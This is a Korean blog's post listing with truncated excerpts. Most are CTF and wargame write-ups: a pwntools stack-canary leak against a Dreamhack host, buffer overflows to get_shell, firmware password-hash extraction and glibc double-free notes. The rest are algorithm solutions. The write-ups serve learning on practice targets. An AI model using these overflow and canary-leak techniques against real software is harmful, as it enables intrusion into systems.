anonymous?

package me.linectf.jalyboy; import io.jsonwebtoken.*; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.security.Keys; import java.security.Key; import java.security.KeyPair; @Controller pu..

WEB HACKING 2024. 3. 24. 10:22

binwalk 설치 sudo apt-get install binwalk Unpacking the binary firmware /w Binwalk binwalk -Me Firmware_challenge.bin binwalk 명령어의 -Me 옵션을 사용하여 펌웨어를 추출한다. /etc/shadow 파일 확인 그 다음 디렉토리를 둘러보면서 /etc/shadow 파일을 열어봤다. dream 계정만 패스워드가 설정되어있어서, 이 부분을 유심히 확인했다. $Algorithm$salt$encrypt_password 형태로 저장되어있으며, MD5 알고리즘을 사용하여 암호화되었다. 그래서 여러 온라인 decrypt 도구를 사용해서 plaintext를 얻어봤는데 flag 단서를 얻었을 때에도 복호화가 잘 안 되었는지 계속..

SYSTEM HACKING/Dreamhack 2024. 3. 5. 01:40

🔍 문제 해결 방법 먼저 익은 토마토는 모두 큐에 넣어 놓는다. 이후 BFS로 탐색을 하면서, 익은 토마토와 인접한 토마토 중 아직 안 익은 토마토(0)가 있으면, 익은 토마토와 인접한 토마토는 하루 지난 후 익게 되므로 익은 토마토와 인접한 토마토 = 익은 토마토 익은 날 + 1 를 한다. 이후 익은 토마토를 큐에 넣어서 다음 인접한 토마토 중 안 익은 토마토를 구한다. main 함수로 리턴 후, 익은 토마토는 모두 1 이상의 값을 가지므로 하나라도 0인 토마토가 있으면 -1을 출력하고 리턴한다. 없다면, 모든 익은 토마토 중 가장 마지막에 익은 토마토에 있는 값을 출력하여 모든 토마토가 익을 수 있는 최소 날짜를 구한다. 🔍 DoubleFree 오류 문제 해결 사소한 실수로 인해.. int searc..

PROGRAMMING/Algorithm 2024. 3. 5. 01:14

#!/usr/bin/python from pwn import * context.log_level = 'debug' context.arch = 'amd64' #p = process("./r2s") p = remote('host3.dreamhack.games', 17569) p.recvuntil(b'Address of the buf: ') buf = int(p.recvuntil('\n'), 16) log.info(b'printf: ', hex(buf)) distance = 96 # canary leak payload = b'B'*(0x60-0x8)+b'A' p.sendafter(b'Input: ', payload) #gdb.attach(p) p.recvuntil(b'A') canary = u64(b'\x00..

SYSTEM HACKING/Dreamhack 2024. 3. 3. 01:56

sudo dhclient 장치명 # sudo dhclient ens33

TOOLS/TIPS 2024. 3. 2. 14:26

GLIBC란? GNU system과 GNU/Linux 시스템의 핵심 라이브러리를 제공하는 GNU C 라이브러리 ptmalloc2 구조 (GLIBC 2.29) - Double Free 검증 tcache_entry 구조체 // GLIBC 2.29 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; GLIBC 2.26과 다르게, GLIBC 2.29에서는 tcache_put, tcache_get 함수에 Double Free 취약점을 검증하는 코드가 추가되었다. GLIBC 2.26에서는..

SYSTEM HACKING/Exploit Tech 2024. 3. 2. 14:25

취약점 분석(정적 분석) IDA로 디스어셈블 하여 스도코드 확인 int __fastcall main(int argc, const char **argv, const char **envp) { char v4[48]; // [rsp+0h] [rbp-30h] BYREF init(argc, argv, envp); printf("Input: "); __isoc99_scanf("%s", v4); return 0; } 스택 구조가 |v4(0x30|SFP(0x8)|RET(0x8)| 이렇게 되고, scanf함수로 입력받으므로 길이 검사를 하지 않아 BOF 취약점이 발생한다. 따라서 0x30+0x8만큼 더미 값을 준 후 이후에 get_shell 함수 주소를 주면 쉘을 얻을 수 있다. PIE가 없어서 get_shell 함수 ..

SYSTEM HACKING/Dreamhack 2024. 3. 1. 21:42

📝 풀이 과정 현재 방문한 위치가 node[i].first, node[i].second라면 index+1 하고 해당 노드 방문, 아니면 index 유지하고해당 노드 방문, 순서대로 방문했는지 여부는 이것으로 체크할 수 있음 (2,0) → (2,1) → (1,1) → (0,1) → (0,2) → (1,2) (2,0) → (2,1) → (1,1) → (0,1) → (0,0) → (0,1) → (0,2) → (1,2) (2,0) → (1,0) → (1,1) → (0,1) → (0,2) → (1,2) (2,0) → (1,0) → (0,0) → (0,1) → (0,2) → (1,2) (2,0) → (1,0) → (0,0) → (0,1) → (1,1) → (1,2) 계속 index 또는 index+1로 재귀 호출을..

PROGRAMMING/Algorithm 2024. 2. 25. 15:34

#include #include using namespace std; int main(){ int N,M,K; cin >> N >> M >> K; int team = min(N/2, M); // 최대 팀 수 int result = min(team, (N+M-K)/3); // 대회 보낼 인원 뺐을 때 printf("%d\n", result); return 0; } 그리디 알고리즘 사용. 일단, 대회에 보내야 하는 인원 상관없이 최대로 만들 수 있는 팀 수를 구하기 위해 여학생 2명, 남학생 1명이므로, min(N/2, M)을 구한다. 이후, 인턴십 보내야 하는 인원 K명을 빼고도 3명으로 팀을 만들었을 때 가능한 팀수를 구하고, 이를 이전에 구한 대회에 보내야 하는 인원 상관없이 최대로 만들 수 있는 팀 ..

PROGRAMMING/Algorithm 2024. 2. 25. 14:19

🔍 코드 분석 int __cdecl main(int argc, const char **argv, const char **envp) { char v4[20]; // [esp+0h] [ebp-18h] BYREF int v5; // [esp+14h] [ebp-4h] v5 = 1; initialize(); printf("Name: "); read_str(v4, 20); printf("Are you baby?"); if ( v5 ) { puts("Ok, chance: "); read(0, v4, 20); } else { get_shell(); } return 0; } |v4(0x18)|v5(0x4)|SFP|RET| v5이 0이면 get_shell 함수 실행되어서 쉘 얻을 수 있음. 근데 v5=1로 설정되어 있기 ..

SYSTEM HACKING/Dreamhack 2024. 2. 19. 16:15

int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rbp __int64 v5; // [rsp-98h] [rbp-98h] signed int v6; // [rsp-18h] [rbp-18h] signed __int16 v7; // [rsp-14h] [rbp-14h] __int64 v8; // [rsp-8h] [rbp-8h] __asm { endbr64 } v8 = v3; init(); v6 = 'ac/.'; v7 = 116; sub_4010D0(); sub_401130("%144s", &v5); read_cat((__int64)&v8, (__int64)&v6); sub_4010D0(); return 0; } |v..

SYSTEM HACKING/Dreamhack 2024. 2. 16. 21:38

📝 제출코드 #1 (시간 초과) #include #include #include using namespace std; int main(int argc, char** argv) { ios_base::sync_with_stdio(false); cin.tie(NULL); int q, m; int r=0; // result counting variable vector car; vector mid; // for starting from index 1 car.push_back(0); scanf("%d %d", &q, &m); // 자동차 연비 넣기 for(int i=1; i

PROGRAMMING/Algorithm 2024. 2. 16. 11:59